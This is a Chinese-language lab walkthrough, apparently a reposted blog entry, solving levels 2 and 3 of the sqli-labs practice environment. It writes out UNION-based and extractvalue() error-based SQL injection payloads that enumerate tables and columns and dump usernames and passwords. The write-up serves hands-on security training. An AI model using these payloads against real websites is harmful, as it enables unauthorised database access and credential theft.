环境:本地环境,基于sqli-labs1.sqli-labs第二关(基于get的整数型注入) 通过代码审计,或者回显可以看出,输入的内容被原封不动的带入到数据库中,这种也叫数字型注入 我这里其实是可以直接获取到用户名和密码,但是为了那些个小白呢,我从头开始吧 1.1 获取数据库 构造sql: id=81 union select 1,2,database() -- + 1.2 获取数据库的表 构造sql: ?id=81 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database() )-- + 1.3 获取user表里的字段信息 构造sql: ?id=81 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users' ) -- + 1.4 获取users表里字段获取用户名和密码 构造sql: ?id=81 union select 1,2,(select group_concat(username,'::',password) from users) -- + 这里可以看到,用户名和密码了,结束了,再来看第二种方法,手工报错注入试试,主要是练习使用 另外的方法 构造sql: ?id=1 and extractvalue(1,concat(0x58,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('first_name','last_name')))) -- + 获取用户名和密码,和上面一样,这里就不截图了2. sqli-labs第三关 get 下单引号变形引发的sql注入 经过测试和代码审计可以看出,输入1'时 会报错,出现了)这个,所以再一类构造减肥参数时需要 加入 ')来闭合才能执行成功,有正常的回显 2.1 我这里就直接获取用户表里的列 构造sql ?id=-1' ) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') -- + 2.2 获取用户名和密码 构造sql: ?id=-1' ) union select 1,2,(select group_concat(username,0x23,password) from users) -- + 另外一种方法:使用extractvalue()来实现 构造sql id=1' ) and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','fail') ))) -- + 获取用户名和密码 构造sql ?id=1' ) and extractvalue(1,concat(0x23,(select group_concat(username,0x23,password) from users ))) -- + |
|
来自: 新用户26922hFh > 《待分类》